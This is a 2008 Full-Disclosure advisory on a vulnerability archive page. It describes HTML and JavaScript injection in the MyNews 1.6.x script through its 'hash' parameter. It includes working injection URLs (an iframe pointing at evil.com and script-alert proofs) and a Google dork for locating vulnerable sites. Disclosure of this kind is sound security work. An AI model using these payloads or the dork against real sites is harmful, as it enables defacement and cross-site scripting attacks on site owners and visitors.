Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19032
HistoryFeb 07, 2008 - 12:00 a.m.

[Full-disclosure] MyNews 1.6.X HTML/JS Injection Vulnerability

2008-02-0700:00:00
vulners.com
14

I know its basic, but I am a supporter of FD and therefore
planetluc.com has to be
blamed now! I checked their script MyNews in version 1.6.4 today and
then some
other versions, all are vulnerable to HTML and JS injection.

— ADVISORY —


|| WWW.SMASH-THE-STACK.NET ||

|| ADVISORY: MyNews 1.6.X HTML/JS Injection Vulnerability


|| 0x00: ABOUT ME
|| 0x01: DATELINE
|| 0x02: INFORMATION
|| 0x03: EXPLOITATION
|| 0x04: GOOGLE DORK
|| 0x05: RISK LEVEL




|| 0x00: ABOUT ME

Author: SkyOut
Date: February 2008
Contact: skyout[-at-]smash-the-stack[-dot-]net
Website: http://www.smash-the-stack.net/


|| 0x01: DATELINE

2008-02-06: Bug found
2008-02-06: Advisory released


|| 0x02: INFORMATION

The MyNews script by planetluc.com in all versions of the 1.6.X tree is
vulnerable to HTML and JS injection due to no sanitation of the "hash"
value in combination with the action "admin".


|| 0x03: EXPLOITATION

No exploit is needed to test this vulnerability. You just need a working
web browser.

1: HTML Injection

To make a HTML injectioni, visit the websites main page. The name
might differ
from the original name "mynews.inc.php", mostly its called
"index.php". Now
construct a malformed URL as follows:

http://www.example.com/index.php?hash="><iframe src=http://
www.evil.com/ height=500px width=500px></iframe><!–&do=admin

Of course you can manipulate the values of "height" and "width" like you
want to. Do it the way it best fits to your needs!

2: JavaScript Injection

JS injection is similar to HTML injection, just that you put a JS code
in the "hash" parameter. Let me show you two examples:

http://www.example.com/index.php?hash=&quot;&gt;&lt;script&gt;alert&#40;1337&#41;;&lt;/
script><!–&do=admin

or

http://www.example.com/index.php?hash=&quot;&gt;&lt;script&gt;alert&#40;&quot;XSS&quot;&#41;;&lt;/
script><!–&do=admin

Sometimes using strings doesn't work, so test it first!


|| 0x04: GOOGLE DORK

intext:"powered by MyNews 1.6.*"


|| 0x05: RISK LEVEL

  • LOW - (1/3) -

<!> Happy Hacking <!>



THE END

— ADVISORY —

Sincerely,
SkyOut


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/